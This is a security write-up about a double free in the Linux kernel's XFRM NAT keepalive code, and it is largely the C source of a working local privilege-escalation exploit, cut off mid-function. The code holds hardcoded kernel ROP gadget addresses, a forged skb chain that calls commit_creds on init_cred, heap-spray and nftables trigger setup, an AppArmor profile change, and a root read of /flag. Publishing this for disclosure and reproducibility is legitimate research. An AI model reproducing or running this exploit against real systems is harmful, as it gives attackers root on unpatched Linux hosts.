Summary
The XFRM NAT keepalive path could free a network packet after handing ownership of it to the IP transmit code. On error paths where the transmit helper had already consumed the packet, the cleanup code freed the same object a second time.
The faulty ownership rule was introduced in June 2024 and fixed upstream in July 2026. The public exploit was validated on Ubuntu 26.04 with Linux 7.0.0-28.
Why it mattered
A local attacker able to configure the relevant networking state in a namespace could force a transmit error at the right point. Releasing the same kernel object twice allows its memory to be reallocated while still in use, which can lead to local privilege escalation.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
nat_keepalive_send() called kfree_skb() whenever the IPv4 or IPv6 send helper returned an error. Those helpers consume the packet on both success and several failures, so the caller no longer owned the object it attempted to clean up.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(void){ char map[64]; char *stack; pid_t child; int status; struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 };
setvbuf(stdout, NULL, _IONBF, 0); if (setrlimit(RLIMIT_NOFILE, &nofile) < 0) die("setrlimit(RLIMIT_NOFILE)"); kaslr_slide = leak_image_slide_checked() + UBUNTU_IMAGE_EDGE_BIAS; printf("kaslr slide=%#llx\n", (unsigned long long)kaslr_slide); printf("capture delay=%u us\n", capture_delay_us); printf("start uid=%u gid=%u\n", getuid(), getgid());
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <linux/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_log.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <linux/rtnetlink.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "leak.h"
/* The assigned 226f4a49 XFRM primitive and its netlink helpers. */
#include "primitive.h"
#define STACK_SIZE (1024 * 1024)
#define EXTERNAL_JAMMERS 8
#define GROOM_PAIRS 288
#define GROOM_PER_PAIR 32
#define PRESEED_PAIRS_PER_CPU 1
#define PRESEED_PAIRS (PRESEED_PAIRS_PER_CPU * 2)
#define PRESEED_START (GROOM_PAIRS - PRESEED_PAIRS)
#define POST_TARGET_PAIRS 15
#define CPU0_DRAIN_FIRST 15
#define CPU0_DRAIN_PAIRS 24
#define CPU0_FILL_FIRST 39
#define CPU0_FILL_PAIRS 24
#define CPU0_FINAL_FIRST 63
#define CPU0_FINAL_PAIRS 48
#define GUARD_OBJECTS 1024
#define GUARD_PAIRS 8
#define PRE_TARGET_PUSH_PAIRS 16
#define CPU1_DRAIN_FIRST 111
#define CPU1_DRAIN_PAIRS 16
#define CPU1_FILL_FIRST 127
#define CPU1_FILL_PAIRS 16
#define CPU1_FINAL_FIRST 143
#define CPU1_FINAL_PAIRS 16
#define POST_DRAIN_FIRST 159
#define POST_DRAIN_PAIRS 40
#define POST_FILL_FIRST 199
#define POST_FILL_PAIRS 80
#define POST_PUSH_FIRST 279
#define POST_PUSH_PAIRS 8
#define RING_PAGES 16384
#define RCU_RECLAIM_WAIT 0
#define QUEUE_NUM 0x5f6e
#define LOG_GROUP 0x5f6f
#define QUEUE_TRIES_PER_CPU 8
#define MAX_QUEUE_TRIES (QUEUE_TRIES_PER_CPU * 2)
static const char flag_path[] = "/flag";
static uint64_t kaslr_slide;
static unsigned char user_stack[0x8000] __attribute__((aligned(16)));
static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_rflags;
static int packet_fd = -1;
static const unsigned int capture_delay_us = 100;
#define LINK_PIVOT 0xffffffff81dd80e7ULL
#define LINK_POP_RDI_RET 0xffffffff81429c60ULL
#define LINK_RET 0xffffffff81429c61ULL
#define LINK_POP6_RET 0xffffffff81dd80edULL
#define LINK_INIT_CRED 0xffffffff83a15b80ULL
#define LINK_COMMIT_CREDS 0xffffffff8148a520ULL
#define LINK_SWAPGS_POP_RET 0xffffffff8100133cULL
#define LINK_IRETQ 0xffffffff81001268ULL
#define LINK_KPTI_RETURN 0xffffffff810011dcULL
#define UBUNTU_IMAGE_EDGE_BIAS 0x200000ULL
static void add_time_ns(struct timespec *value, long nanoseconds)
{
value->tv_sec += nanoseconds / 1000000000L;
value->tv_nsec += nanoseconds % 1000000000L;
if (value->tv_nsec >= 1000000000L) {
value->tv_nsec -= 1000000000L;
value->tv_sec++;
}
}
static void put_u64(void *base, size_t offset, uint64_t value)
{
memcpy((unsigned char *)base + offset, &value, sizeof(value));
}
__attribute__((noreturn, noinline))
static void root_continuation(void)
{
char flag[512];
ssize_t got;
int fd;
(void)setresgid(0, 0, 0);
(void)setresuid(0, 0, 0);
fd = open(flag_path, O_RDONLY | O_CLOEXEC);
if (fd >= 0 && (got = read(fd, flag, sizeof(flag) - 1)) > 0) {
flag[got] = 0;
dprintf(STDOUT_FILENO, "FLAG=%s\n", flag);
}
dprintf(STDOUT_FILENO, "ROP returned uid=%u gid=%u flagfd=%d errno=%d\n",
getuid(), getgid(), fd, errno);
_exit(fd >= 0 ? 0 : 91);
}
static void save_user_state(void)
{
asm volatile("mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
: : "memory");
}
static void forge_skb_ring(unsigned char *mapping, size_t bytes)
{
/* Clear every candidate before writing the compact in-object chain. */
for (size_t offset = 0; offset < bytes; offset += 256)
memset(mapping + offset, 0, 232);
for (size_t offset = 0; offset < bytes; offset += 256) {
unsigned char *skb = mapping + offset;
/*
* The destructor pivots RSP to this skb. skb_dst_drop() clears
* offset 88 before calling it, and the destructor itself occupies
* offset 96, so a six-pop epilogue skips both holes. No heap
* address or preserved page contents are needed.
*/
/*
* Run the six-pop epilogue before loading RDI: that epilogue zeros
* all argument registers. Its pops consume both mutable skb fields
* (refdst at 88 and destructor at 96), then the short pop-rdi gadget
* supplies init_cred immediately before commit_creds.
*/
put_u64(skb, 64, LINK_POP6_RET + kaslr_slide);
put_u64(skb, 72, 0);
put_u64(skb, 80, 0);
put_u64(skb, 88, 0); /* consumed after skb_dst_drop() clears it */
put_u64(skb, 96, LINK_PIVOT + kaslr_slide); /* destructor + dummy */
put_u64(skb, 104, 0);
put_u64(skb, 112, 0);
put_u64(skb, 120, LINK_POP_RDI_RET + kaslr_slide);
put_u64(skb, 128, LINK_INIT_CRED + kaslr_slide);
/* Restore the SysV entry alignment expected by commit_creds(). */
put_u64(skb, 136, LINK_RET + kaslr_slide);
put_u64(skb, 144, LINK_COMMIT_CREDS + kaslr_slide);
/* Enter the compact KPTI branch at its mov %rsp,%rdi. It copies the
* iret frame to the per-CPU entry stack, so the entire chain fits in a
* single 256-byte skb object and works for every slot in the page. */
size_t frame = 160;
put_u64(skb, 152, LINK_KPTI_RETURN + kaslr_slide);
put_u64(skb, frame, 0); /* saved rdi */
put_u64(skb, frame + 8, 0); /* unused */
put_u64(skb, frame + 16, (uintptr_t)root_continuation);
put_u64(skb, frame + 24, user_cs);
put_u64(skb, frame + 32, user_rflags);
put_u64(skb, frame + 40,
(uintptr_t)(user_stack + sizeof(user_stack) - 0xf8));
put_u64(skb, frame + 48, user_ss);
/* Keep fclone=0 and make the forged object releasable. */
put_u64(skb, 216, 768);
put_u64(skb, 220, 1);
}
}
static void packet_page_spray(void)
{
struct tpacket_req request = {
.tp_block_size = 4096,
.tp_block_nr = RING_PAGES,
.tp_frame_size = 2048,
.tp_frame_nr = RING_PAGES * 2,
};
size_t bytes = (size_t)request.tp_block_size * request.tp_block_nr;
unsigned char *mapping;
if (setsockopt(packet_fd, SOL_PACKET, PACKET_RX_RING,
&request, sizeof(request)) < 0)
die("PACKET_RX_RING");
mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE,
MAP_SHARED, packet_fd, 0);
if (mapping == MAP_FAILED)
die("mmap(PACKET_RX_RING)");
forge_skb_ring(mapping, bytes);
/* Keep both mapping and fd alive until the stale skb is released. */
}
static void make_unix_pair(int pair[2])
{
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) < 0)
die("socketpair(AF_UNIX)");
}
static void send_byte(int fd)
{
char byte = 'S';
if (send(fd, &byte, 1, 0) != 1)
die("send(AF_UNIX)");
}
static void receive_byte(int fd)
{
char byte;
if (recv(fd, &byte, sizeof(byte), 0) != 1)
die("recv(AF_UNIX)");
}
struct cleaner_socket {
int sender;
int receiver;
uint32_t portid;
};
static struct cleaner_socket open_cleaner_socket(void)
{
struct cleaner_socket cleaner;
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
socklen_t length = sizeof(local);
cleaner.receiver = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_USERSOCK);
cleaner.sender = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_USERSOCK);
if (cleaner.receiver < 0 || cleaner.sender < 0)
die("socket(NETLINK_USERSOCK cleaner)");
if (bind(cleaner.receiver, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_USERSOCK cleaner)");
if (getsockname(cleaner.receiver, (struct sockaddr *)&local, &length) < 0)
die("getsockname(NETLINK_USERSOCK cleaner)");
cleaner.portid = local.nl_pid;
return cleaner;
}
static void send_cleaner(struct cleaner_socket *cleaner)
{
struct sockaddr_nl destination = {
.nl_family = AF_NETLINK,
.nl_pid = cleaner->portid,
};
unsigned char message[32] = { 'C' };
if (sendto(cleaner->sender, message, sizeof(message), 0,
(struct sockaddr *)&destination, sizeof(destination)) !=
(ssize_t)sizeof(message))
die("sendto(NETLINK_USERSOCK cleaner)");
}
static void receive_cleaner(struct cleaner_socket *cleaner)
{
unsigned char message[64];
if (recv(cleaner->receiver, message, sizeof(message), 0) != 32)
die("recv(NETLINK_USERSOCK cleaner)");
}
static uint32_t nf_sequence;
static struct nlattr *nf_put_attr(struct nlmsghdr *nlh, size_t capacity,
uint16_t type, const void *data, size_t length)
{
size_t offset = NLMSG_ALIGN(nlh->nlmsg_len);
size_t needed = NLA_ALIGN(NLA_HDRLEN + length);
struct nlattr *attribute;
if (offset + needed > capacity) {
errno = EMSGSIZE;
die("NFNETLINK attribute overflow");
}
attribute = (struct nlattr *)((char *)nlh + offset);
attribute->nla_type = type;
attribute->nla_len = (uint16_t)(NLA_HDRLEN + length);
if (length)
memcpy((char *)attribute + NLA_HDRLEN, data, length);
memset((char *)attribute + attribute->nla_len, 0,
needed - attribute->nla_len);
nlh->nlmsg_len = (uint32_t)(offset + needed);
return attribute;
}
static struct nlattr *nf_nest_start(struct nlmsghdr *nlh, size_t capacity,
uint16_t type)
{
return nf_put_attr(nlh, capacity, type | NLA_F_NESTED, NULL, 0);
}
static void nf_nest_end(struct nlmsghdr *nlh, struct nlattr *attribute)
{
attribute->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len -
(char *)attribute);
}
static void nf_send(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl destination = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr message = {
.msg_name = &destination,
.msg_namelen = sizeof(destination),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &message, 0) < 0)
die("sendmsg(NETLINK_NETFILTER)");
}
static void nf_recv_ack(int fd, uint32_t sequence)
{
char buffer[8192];
for (;;) {
ssize_t length = recv(fd, buffer, sizeof(buffer), 0);
struct nlmsghdr *nlh;
if (length < 0) {
if (errno == EINTR)
continue;
die("recv(NETLINK_NETFILTER ack)");
}
for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length);
nlh = NLMSG_NEXT(nlh, length)) {
struct nlmsgerr *error;
if (nlh->nlmsg_seq != sequence ||
nlh->nlmsg_type != NLMSG_ERROR)
continue;
error = NLMSG_DATA(nlh);
if (error->error) {
errno = -error->error;
die("NETLINK_NETFILTER ack");
}
return;
}
}
}
static int open_netfilter_socket(void)
{
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (fd < 0)
die("socket(NETLINK_NETFILTER)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_NETFILTER)");
return fd;
}
static void nft_base_request(char *buffer, size_t capacity,
uint16_t message_type, uint8_t family)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
struct nfgenmsg *nfg;
memset(buffer, 0, capacity);
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | message_type;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
NLM_F_CREATE | NLM_F_EXCL;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = family;
nfg->version = NFNETLINK_V0;
}
static void send_nft_batch_one(int fd, struct nlmsghdr *request)
{
char batch[4096] = { 0 };
struct nlmsghdr *begin = (struct nlmsghdr *)batch;
struct nlmsghdr *message;
struct nlmsghdr *end;
struct nfgenmsg *nfg;
struct sockaddr_nl destination = { .nl_family = AF_NETLINK };
struct iovec iov;
struct msghdr header = {
.msg_name = &destination,
.msg_namelen = sizeof(destination),
.msg_iov = &iov,
.msg_iovlen = 1,
};
size_t offset;
uint32_t request_sequence;
begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
begin->nlmsg_flags = NLM_F_REQUEST;
begin->nlmsg_seq = ++nf_sequence;
nfg = NLMSG_DATA(begin);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
offset = NLMSG_ALIGN(begin->nlmsg_len);
message = (struct nlmsghdr *)(batch + offset);
memcpy(message, request, request->nlmsg_len);
message->nlmsg_seq = ++nf_sequence;
request_sequence = message->nlmsg_seq;
offset += NLMSG_ALIGN(message->nlmsg_len);
end = (struct nlmsghdr *)(batch + offset);
end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
end->nlmsg_type = NFNL_MSG_BATCH_END;
end->nlmsg_flags = NLM_F_REQUEST;
end->nlmsg_seq = ++nf_sequence;
nfg = NLMSG_DATA(end);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
offset += NLMSG_ALIGN(end->nlmsg_len);
iov.iov_base = batch;
iov.iov_len = offset;
if (sendmsg(fd, &header, 0) < 0)
die("sendmsg(nft batch)");
nf_recv_ack(fd, request_sequence);
}
static void install_ipv6_output_queue(void)
{
char buffer[2048];
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
struct nlattr *hook, *expressions, *element, *data;
uint32_t hook_number = htonl(NF_INET_LOCAL_OUT);
uint32_t priority = htonl(0);
uint32_t policy = htonl(NF_ACCEPT);
uint16_t queue_number = htons(QUEUE_NUM);
int fd = open_netfilter_socket();
nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWTABLE, NFPROTO_IPV6);
nf_put_attr(nlh, sizeof(buffer), NFTA_TABLE_NAME,
"_nebu", sizeof("_nebu"));
send_nft_batch_one(fd, nlh);
nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWCHAIN, NFPROTO_IPV6);
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TABLE,
"_nebu", sizeof("_nebu"));
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_NAME,
"output", sizeof("output"));
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TYPE,
"filter", sizeof("filter"));
hook = nf_nest_start(nlh, sizeof(buffer), NFTA_CHAIN_HOOK);
nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_HOOKNUM,
&hook_number, sizeof(hook_number));
nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_PRIORITY,
&priority, sizeof(priority));
nf_nest_end(nlh, hook);
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_POLICY,
&policy, sizeof(policy));
send_nft_batch_one(fd, nlh);
nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWRULE, NFPROTO_IPV6);
nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_TABLE,
"_nebu", sizeof("_nebu"));
nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_CHAIN,
"output", sizeof("output"));
expressions = nf_nest_start(nlh, sizeof(buffer), NFTA_RULE_EXPRESSIONS);
element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM);
nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME,
"queue", sizeof("queue"));
data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA);
nf_put_attr(nlh, sizeof(buffer), NFTA_QUEUE_NUM,
&queue_number, sizeof(queue_number));
nf_nest_end(nlh, data);
nf_nest_end(nlh, element);
nf_nest_end(nlh, expressions);
send_nft_batch_one(fd, nlh);
close(fd);
}
static void install_ipv4_output_drop(void)
{
char buffer[2048];
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
struct nlattr *hook, *expressions, *element, *expression_data;
struct nlattr *immediate_data, *verdict_data;
uint32_t hook_number = htonl(NF_INET_LOCAL_OUT);
uint32_t priority = htonl(0);
uint32_t policy = htonl(NF_ACCEPT);
uint32_t destination_register = htonl(NFT_REG_VERDICT);
uint32_t verdict = htonl(NF_DROP);
uint16_t log_group = htons(LOG_GROUP);
uint16_t log_threshold = htons(1);
int fd = open_netfilter_socket();
nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWTABLE, NFPROTO_IPV4);
nf_put_attr(nlh, sizeof(buffer), NFTA_TABLE_NAME,
"_nebusec", sizeof("_nebusec"));
send_nft_batch_one(fd, nlh);
nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWCHAIN, NFPROTO_IPV4);
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TABLE,
"_nebusec", sizeof("_nebusec"));
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_NAME,
"output", sizeof("output"));
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TYPE,
"filter", sizeof("filter"));
hook = nf_nest_start(nlh, sizeof(buffer), NFTA_CHAIN_HOOK);
nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_HOOKNUM,
&hook_number, sizeof(hook_number));
nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_PRIORITY,
&priority, sizeof(priority));
nf_nest_end(nlh, hook);
nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_POLICY,
&policy, sizeof(policy));
send_nft_batch_one(fd, nlh);
nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWRULE, NFPROTO_IPV4);
nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_TABLE,
"_nebusec", sizeof("_nebusec"));
nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_CHAIN,
"output", sizeof("output"));
expressions = nf_nest_start(nlh, sizeof(buffer), NFTA_RULE_EXPRESSIONS);
element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM);
nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME,
"log", sizeof("log"));
expression_data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA);
nf_put_attr(nlh, sizeof(buffer), NFTA_LOG_GROUP,
&log_group, sizeof(log_group));
nf_put_attr(nlh, sizeof(buffer), NFTA_LOG_QTHRESHOLD,
&log_threshold, sizeof(log_threshold));
nf_nest_end(nlh, expression_data);
nf_nest_end(nlh, element);
element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM);
nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME,
"immediate", sizeof("immediate"));
expression_data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA);
nf_put_attr(nlh, sizeof(buffer), NFTA_IMMEDIATE_DREG,
&destination_register, sizeof(destination_register));
immediate_data = nf_nest_start(nlh, sizeof(buffer), NFTA_IMMEDIATE_DATA);
verdict_data = nf_nest_start(nlh, sizeof(buffer), NFTA_DATA_VERDICT);
nf_put_attr(nlh, sizeof(buffer), NFTA_VERDICT_CODE,
&verdict, sizeof(verdict));
nf_nest_end(nlh, verdict_data);
nf_nest_end(nlh, immediate_data);
nf_nest_end(nlh, expression_data);
nf_nest_end(nlh, element);
nf_nest_end(nlh, expressions);
send_nft_batch_one(fd, nlh);
close(fd);
}
static int open_and_bind_nflog(void)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
struct nfgenmsg *nfg;
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
struct nfulnl_msg_config_cmd command = {
.command = NFULNL_CFG_CMD_BIND,
};
struct nfulnl_msg_config_mode mode = {
.copy_range = htonl(0),
.copy_mode = NFULNL_COPY_META,
};
uint32_t threshold = htonl(1);
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (fd < 0)
die("socket(NFLOG)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NFLOG)");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nf_sequence;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_INET;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(LOG_GROUP);
nf_put_attr(nlh, sizeof(buffer), NFULA_CFG_CMD,
&command, sizeof(command));
nf_put_attr(nlh, sizeof(buffer), NFULA_CFG_MODE, &mode, sizeof(mode));
nf_put_attr(nlh, sizeof(buffer), NFULA_CFG_QTHRESH,
&threshold, sizeof(threshold));
nf_send(fd, nlh);
nf_recv_ack(fd, nlh->nlmsg_seq);
return fd;
}
static void wait_for_nflog_packet(int fd)
{
char buffer[8192];
for (;;) {
ssize_t length = recv(fd, buffer, sizeof(buffer), MSG_PEEK);
struct nlmsghdr *nlh;
if (length < 0) {
if (errno == EINTR)
continue;
die("recv(MSG_PEEK NFLOG)");
}
for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length);
nlh = NLMSG_NEXT(nlh, length))
if (nlh->nlmsg_type ==
((NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_PACKET))
return;
}
}
static int open_and_bind_nfqueue(void)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
struct nfgenmsg *nfg;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
.nl_pid = (uint32_t)getpid(),
};
struct nfqnl_msg_config_cmd command = {
.command = NFQNL_CFG_CMD_BIND,
.pf = htons(AF_INET6),
};
struct nfqnl_msg_config_params parameters = {
.copy_range = htonl(0xffff),
.copy_mode = NFQNL_COPY_PACKET,
};
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (fd < 0)
die("socket(NFQUEUE)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NFQUEUE)");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nf_sequence;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
nf_put_attr(nlh, sizeof(buffer), NFQA_CFG_CMD,
&command, sizeof(command));
nf_send(fd, nlh);
nf_recv_ack(fd, nlh->nlmsg_seq);
memset(buffer, 0, sizeof(buffer));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nf_sequence;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
nf_put_attr(nlh, sizeof(buffer), NFQA_CFG_PARAMS,
¶meters, sizeof(parameters));
nf_send(fd, nlh);
nf_recv_ack(fd, nlh->nlmsg_seq);
return fd;
}
static void queue_one_ipv6_packet(unsigned char byte)
{
struct sockaddr_in6 destination = {
.sin6_family = AF_INET6,
.sin6_port = htons(31337),
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
};
int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("socket(AF_INET6 queue packet)");
if (sendto(fd, &byte, sizeof(byte), 0,
(struct sockaddr *)&destination, sizeof(destination)) != 1)
die("sendto(AF_INET6 queue packet)");
close(fd);
}
struct queue_notice {
uint32_t packet_id;
unsigned int payload_len;
unsigned int payload_first;
unsigned int payload_last;
int malformed;
};
static struct queue_notice receive_queue_notice(int fd)
{
char buffer[65536];
for (;;) {
ssize_t length = recv(fd, buffer, sizeof(buffer), 0);
struct nlmsghdr *nlh;
if (length < 0) {
if (errno == EINTR)
continue;
die("recv(NFQUEUE packet)");
}
for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length);
nlh = NLMSG_NEXT(nlh, length)) {
struct nfgenmsg *nfg;
struct nlattr *attribute;
uint32_t packet_id = 0;
unsigned int payload_len = 0;
unsigned int payload_first = 0;
unsigned int payload_last = 0;
int remaining;
if (nlh->nlmsg_type !=
((NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_PACKET))
continue;
nfg = NLMSG_DATA(nlh);
remaining = (int)nlh->nlmsg_len -
NLMSG_LENGTH(sizeof(*nfg));
attribute = (struct nlattr *)((char *)nfg +
NLMSG_ALIGN(sizeof(*nfg)));
while (remaining >= (int)sizeof(*attribute) &&
attribute->nla_len >= sizeof(*attribute) &&
attribute->nla_len <= remaining) {
if ((attribute->nla_type & NLA_TYPE_MASK) ==
NFQA_PACKET_HDR &&
attribute->nla_len >= NLA_HDRLEN +
sizeof(struct nfqnl_msg_packet_hdr)) {
struct nfqnl_msg_packet_hdr *packet =
(void *)((char *)attribute + NLA_HDRLEN);
packet_id = ntohl(packet->packet_id);
} else if ((attribute->nla_type & NLA_TYPE_MASK) ==
NFQA_PAYLOAD &&
attribute->nla_len > NLA_HDRLEN) {
unsigned char *payload = (void *)
((char *)attribute + NLA_HDRLEN);
payload_len = attribute->nla_len - NLA_HDRLEN;
payload_first = payload[0];
payload_last = payload[payload_len - 1];
}
remaining -= NLA_ALIGN(attribute->nla_len);
attribute = (struct nlattr *)((char *)attribute +
NLA_ALIGN(attribute->nla_len));
}
if (packet_id) {
struct queue_notice notice = {
.packet_id = packet_id,
.payload_len = payload_len,
.payload_first = payload_first,
.payload_last = payload_last,
.malformed = payload_len != 49 ||
payload_first != 0x60 ||
(payload_last != 'A' &&
payload_last != 'B'),
};
printf("notice id=%u nl=%u payload=%u first=%02x last=%02x\n",
packet_id, nlh->nlmsg_len, payload_len,
payload_first, payload_last);
return notice;
}
}
}
}
static void send_queue_drop_verdict(int fd, uint32_t packet_id)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
struct nfgenmsg *nfg;
struct nfqnl_msg_verdict_hdr verdict = {
.verdict = htonl(NF_DROP),
.id = htonl(packet_id),
};
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = ++nf_sequence;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
nf_put_attr(nlh, sizeof(buffer), NFQA_VERDICT_HDR,
&verdict, sizeof(verdict));
nf_send(fd, nlh);
}
static int child_gate[2];
static int jammer_gate[2];
static int change_profile(const char *name)
{
char request[256];
int fd;
int len;
len = snprintf(request, sizeof(request), "changeprofile %s", name);
fd = open("/proc/self/attr/current", O_WRONLY | O_CLOEXEC);
if (fd < 0)
return -1;
errno = 0;
if (write(fd, request, len) != len) {
int saved = errno;
close(fd);
errno = saved;
return -1;
}
close(fd);
return 0;
}
static void print_profile(const char *tag)
{
char buffer[256];
ssize_t len;
int fd;
fd = open("/proc/self/attr/current", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return;
len = read(fd, buffer, sizeof(buffer) - 1);
close(fd);
if (len <= 0)
return;
buffer[len] = 0;
